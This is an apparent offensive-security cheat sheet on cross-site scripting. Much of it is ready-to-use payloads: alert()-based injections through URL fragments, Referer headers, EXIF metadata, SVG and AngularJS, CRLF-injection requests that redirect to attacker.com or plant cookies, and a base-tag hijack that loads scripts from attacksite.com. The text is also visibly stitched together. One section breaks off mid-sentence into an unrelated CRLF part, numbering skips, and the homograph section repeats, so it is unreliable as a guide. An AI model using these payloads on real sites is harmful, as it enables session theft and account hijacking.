Comprehensive Guide on Cross-Site Scripting (XSS) and Its Bypasses

Cross-Site Scripting (XSS) is a widespread vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. This guide covers the types of XSS, methodologies for detection and exploitation, contexts of injection, and advanced techniques for bypassing protections.

1. Introduction to XSS XSS attacks enable attackers to inject malicious scripts into web pages. These scripts can execute in the context of a user's browser, allowing attackers to steal information, hijack sessions, or perform actions on behalf of the user.

1.1 Types of XSS Stored XSS: The malicious script is permanently stored on the target server, such as in a database or comment field. Reflected XSS: The malicious script is reflected off a web server, typically via a URL query parameter. DOM-Based XSS: The vulnerability exists in the client-side code rather than the server-side code, and the attack payload is executed as a result of modifying the DOM environment.

2. Methodology for Detecting XSS 2.1 Identify Injection Points

Check if any value you control (parameters, path, headers, cookies) is reflected in the HTML or used by JavaScript code.

Determine Reflection Context

Raw HTML: Can you create new HTML tags or use attributes/events that support JavaScript?

Inside HTML Tag: Can you exit to raw HTML or create events/attributes to execute JavaScript?

Inside JavaScript Code: Can you escape the HTTP/1.1

URL Redirection and CRLF Injection Another approach is to use CRLF injection to manipulate redirection headers and include XSS payloads.

Consider an application that redirects users based on input parameters. An attacker can inject CRLF characters to terminate the location header and include a script. GET /redirect.php?url=http://example.com%0d%0aLocation:%20http://attacker.com/xss.html HTTP/1.1

Log Injection CRLF injection can also be used to manipulate server logs, potentially leading to XSS when logs are viewed in an insecure application.

An attacker injects a script into log entries: GET /vulnerable.php?param=value%0d%0a%0d%0a HTTP/1.1

Advanced CRLF Injection Techniques 4.1 Double CRLF Injection Using multiple CRLF sequences to break the HTTP response in more complex scenarios.

GET /vulnerable.php?param=value%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a HTTP/1.1

Hybrid Injection Combining CRLF injection with other techniques such as parameter pollution or path traversal to enhance the attack.

GET /vulnerable.php?param1=value1&param2=value2%0d%0aSet-Cookie:%20session=malicious_value%0d%0a%0d%0a HTTP/1.1

CRLF injection is a powerful technique that can lead to severe security vulnerabilities, including XSS. Understanding how to exploit and mitigate CRLF injection is crucial for securing web applications. By employing proper input validation, header handling, and security policies, developers can protect their applications from these attacks.

Other Vulnerabilities leading to XSS

PDF Generation Vulnerabilities Dynamic PDF Content Injection When generating PDFs dynamically from user input, malicious content can lead to XSS.

// Vulnerable PDF generation code
$pdf->writeHTML($_POST['user_input']);

XML Injection XML data that includes user input can be manipulated to include malicious scripts.

<!-- Vulnerable XML data -->
<user>
  <name><?php echo $_POST['name']; ?></name>
</user>

XPath Injection Leading to XSS XPath injection vulnerabilities can be exploited to retrieve sensitive data and potentially inject XSS.

// Vulnerable XPath query
$query = "//user[name/text()='" . $_POST['name'] . "']";
$result = $xpath->query($query);

Unsafe Use of innerHTML Using innerHTML to insert user input into the DOM can lead to XSS.

document.getElementById('output').innerHTML = user_input;

Exploiting URL Fragments User-controlled fragments in URLs can be manipulated to inject scripts.

// Vulnerable code using location.hash
var fragment = location.hash.substring(1);
document.getElementById('output').innerHTML = fragment;

// If an attacker controls the URL
http://example.com#<img src=x onerror=alert(1)>

Misconfigured Content-Type Headers Misconfigured Content-Type headers can cause browsers to interpret data as executable scripts.

// Response with wrong Content-Type
Content-Type: text/html

{"user": "<script>alert(1)</script>"}

Injecting Malicious Frames Injecting malicious content into iframe sources can lead to XSS.

<iframe src="<?php echo $_GET['page']; ?>"></iframe>

// if an attacker submits
http://example.com/page.php?page=http://malicious.com

Injecting Base Tags
If script tags and event handler attributes are blogged you can try to leverage base tags for XSS

//lets say the site has a script tag like this
<script src="static/js/context.js"/>
//the attacker could inject
<base href="https://attacksite.com">
//and host their own static/js/context.js. note: the injection point must be above the targetted script

Exploiting SQL errors
if you see SQL errors, they are often not sanitized. This means they are worth checking for reflected xss. This doesn't only apply to SQL specifically but its the context I've seen this most

Exif Data Injection to XSS Inject XSS Payloads into Exif data if the form is not sanitized properly Use a tool like ExifTool to embed a JavaScript payload in the EXIF metadata of an image.

exiftool -Title='<img src="x" onerror="alert(\'XSS via EXIF Metadata\')">' image.jpg

(IDN) Homograph Attack IDN allows the use of Unicode characters in domain names. Attackers can register domains that look visually similar to trusted domains by using characters from different languages that look alike. These domains can then host malicious content.

Exploiting WebAssembly WebAssembly (Wasm) code that includes user input can be manipulated to execute malicious scripts.

WebAssembly.instantiateStreaming(fetch('module.wasm'), { env: { userInput: user_input } });

JavaScript URL Injection If an application uses URLs with the javascript: scheme in places where it accepts input, this can lead to XSS.

javascript:alert('XSS via JavaScript URL')

Referer Header Injection If an application reflects the Referer header without sanitization, it can lead to XSS.

Referer: https://attacker-site.com/<img src=x onerror=alert('XSS via Referer Header')>

SVG Use Element Injection The element in SVG can reference external content. If an application accepts user input for SVG references and does not properly sanitize it, this can lead to XSS.

<use href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg'%3E%3Cimage href=x onerror=alert('XSS via SVG Use')%3E%3C/svg%3E">

Server-Sent Events (SSE) Injection Server-Sent Events (SSE) allow servers to push updates to the client. If the data sent by the server is not sanitized, it can lead to XSS.

https://vulnerable-site.com/sse?data=<script>alert('XSS via SSE')</script>

EventSource API Injection The EventSource API allows servers to push updates to the client. If the server sends unsanitized data, it can lead to XSS.

event: message\ndata: <script>alert('XSS via EventSource')</script>\n\n

CSS Content Property Injection If an application allows user input in CSS properties without sanitization, it can lead to XSS. Note:most browsers consider the content property text not html and this works under very certain conditions unsure whether the browser still accepts this however i have inserted here as a use case.

<style>
  .content::before { content: '<img src=x onerror=alert("XSS via CSS Content Property")>'; }
</style>

Drag and Drop File Path Injection If a web application accepts dragged-and-dropped files and reflects their paths without sanitization, it can lead to XSS. Find the Files here: https://github.com/ShadowByte1/XSS-File-Path-Names

"><img src=x onerror=alert('XSS via File Path')>

Data Binding Libraries Injection If an application uses data binding libraries (like AngularJS) and reflects user input without sanitization, it can lead to XSS.

<div ng-app ng-csp>
  <div ng-bind-html="'<img src=x onerror=alert(\'XSS via AngularJS\')>'"></div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.9/angular.min.js"></script>

Internationalized Domain Names (IDN) Homograph Attack

Description: IDN allows the use of Unicode characters in domain names. Attackers can register domains that look visually similar to trusted domains by using characters from different languages that look alike. These domains can then host malicious content.

Detailed Example of IDN Homograph Attack Domain Registration: The attacker registers a domain that looks similar to a trusted domain. For example, they can replace the Latin letter "a" with the Cyrillic letter "а" (U+0430).

Trusted domain: example.com Malicious domain: exаmple.com (notice the Cyrillic "а") Punycode Representation: Browsers convert Unicode domains to ASCII-compatible encoding called Punycode. This representation starts with xn--.

example.com (trusted domain) exаmple.com (malicious domain) becomes xn--exmple-2of.com Hosting Malicious Content: The attacker hosts a page on xn--exmple-2of.com with malicious scripts designed to look like the legitimate site but contain XSS payloads.

Phishing Email or Link: The attacker sends phishing emails or messages with links to the malicious domain, tricking users into clicking them.